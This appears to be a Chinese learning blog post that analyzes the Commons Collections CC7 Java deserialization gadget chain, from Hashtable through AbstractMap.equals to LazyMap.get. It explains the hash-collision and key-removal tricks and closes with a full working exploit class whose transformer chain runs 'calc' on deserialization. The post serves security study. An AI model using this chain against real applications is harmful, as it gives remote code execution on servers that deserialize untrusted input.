Java学习之CC链7
环境
CommonsCollections 3.1 - 3.2.1,jdk好像是没有限制的
链子分析
这里其实后半部分和CC1也是一样只不过入口点变了,这里为Hashtable
这个类,找样是把他和LazyMap
连起来,但是这里不直接去find usages了,因为get调用实在太多了,所以直接看,最后是找到了AbstractMap
类,它的equals()
方法调用了get()
方法
那么下一步就是找谁调用了equals()
方法,从这里开始会遇到前面几条链没有过的调用方式就是调用子类没有的方法那么就会去到父类调用这个方法,所以在这里HashMap
这个类继承了AbstractMap
类
而HashMap
类没有equals()
方法那么调用HashMap
类equals()
方法就会调到AbstractMap
类的equals()
方法所以接下来就去寻找调用了key.equals
我们控制key的类型为HashMap就行了,最终是在HashTable
类的reconstitutionPut()
方法调用了key.equals
其实这里equals
的调用还是挺绕的,一开始是传LazyMap对象到AbstractMap
类去调用equals
就相当于LazyMap调用equals
但是LazyMap没有equals
所以就去LazyMap的父类AbstractMapDecorator
找虽然AbstractMapDecorator
是一个抽象类,但它实现了equals
方法。
1 | public boolean equals(Object object) { |
AbstractMapDecorator
类的equals
方法只比较了这两个key的引用,如果不是同一对象会再次调用equals
方法,map是通过LazyMap
传过来的相当于是LazyMap
的对象,我们在构造利用链的时候,通过LazyMap
的静态方法decorate
将HashMap
传给了map属性,因此这里会调用HashMap
的equals
方法。所以又去AbstractMapDecorator
父类即AbstractMap
类找最终找到调用了equals
然后再AbstractMap
类去调用LazyMap
调用get,这里想了半天AbstractMapDecorator
类怎么和HashMap
扯上关系的
现在就是找谁调用了reconstitutionPut()
方法,最终在同一个类即HashTable
类的readObject()
方法调用了reconstitutionPut()
方法
那么到这里链子就分析完了
EXP调试
这里先把CC1的后半段拿过来
1 | import org.apache.commons.collections.Transformer; |
然后是和AbstractMap
类连起来但是这个类是不可以序列化的,所以这里不太好写这一部分的exp就直接往后吧,下一步就是和入口类的reconstitutionPut
方法结合起来
1 | for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { |
这里对传进的 Entry 对象数组进行了循环,逐个调用e.key.equals(key)
,这里传进去的参数key如果是我们可控的,那么AbstractMap.equals()
中的m就是我们可控的。那么这里在入口类传入恶意key然后调用key.equals
就可行,像下面这样
但结果是没反应,说明这样不行debug发现根本不会进入equals
方法,去看看yso官方链子
这里用了两个map并且使用了两次put,下面就分析一下为什么要这样做,这里可以详细了解一下reconstitutionPut
方法,参考博客这里就不重复写了
- 为什么要调用两次put
因为我们需要进入到reconstitutionPut()
方法里面的for循环去调用e.key.equal()
但是发现
第一次调用的时候直接跳出了for循环因为这个时候tab[index]
为空,然后在后面才给tab[index]
赋值,所以这里需要调用两次来确保进入for循环
然后这里还有个e.hash == hash
判断,在判断重复元素的时候校验了两个元素的hash值是否一样,为真后才会执行到e.key.equal()
,而这个取出来判断的其实就是lazyMap1对象的hash值它要等于 现在的对象也就是 lazyMap2 的hash值,这个hash值是在lazyMap对象中的key.hashCode()
得到的,而在这里我们put到lazyMap1的值yy然后去计算"yy".hashCode()
,lazyMap2 的为zZ就再"zZ".hashCode()
这样经计算他们的hash值是一样的,当然这里可以用其它字母组合不一定是这两个,参考清风师傅的博客里面详细解释了这里的计算原理
然后这里还有个问题,就是在HashTable.put()
之后需要在map2remove()
掉 yy因为HashTable.put()
也会调用到equals()
方法,当调用完equals()
方法后,LazyMap2 的 key 中就会增加一个 yy 键,序列化的时候没问题如下
但是反序列化m.size()
就会变为2但是原本的size还是1
然后就直接false了不会进入到get方法那么也就不会命令执行了,所以我们在进入for循环后就需要移除yy,最后避免本地序列化会弹计算器的干扰在序列化的过程修改为常数,因为Hashtable#put 中也会调用到 AbstractMap#equals 从而触发 LazyMap#get,然后反序列化的时候通过反射修改回来就行1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.AbstractMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class CC7Dome {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
HashMap<Object, Object> hashMap1 = new HashMap<>();
HashMap<Object, Object> hashMap2 = new HashMap<>();
Map decorateMap1 = LazyMap.decorate(hashMap1, chainedTransformer);
decorateMap1.put("yy", 1);
Map decorateMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
decorateMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(decorateMap1, 1);
hashtable.put(decorateMap2, 1);
Class c = ChainedTransformer.class;
Field field = c.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
decorateMap2.remove("yy");
// serialize(hashtable);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
流程图
这条链子跟的比较难受,中途我idea调试的时候出现了玄学问题,不管怎么我怎么弄Hashtable这个类,弄了半天没弄好中间有事儿去了没弄了,等我第二天来调发现突然又好了但是此时思路没有一开始那么清晰了,我也懒得再重新分析了以后刷题的时候再弄一下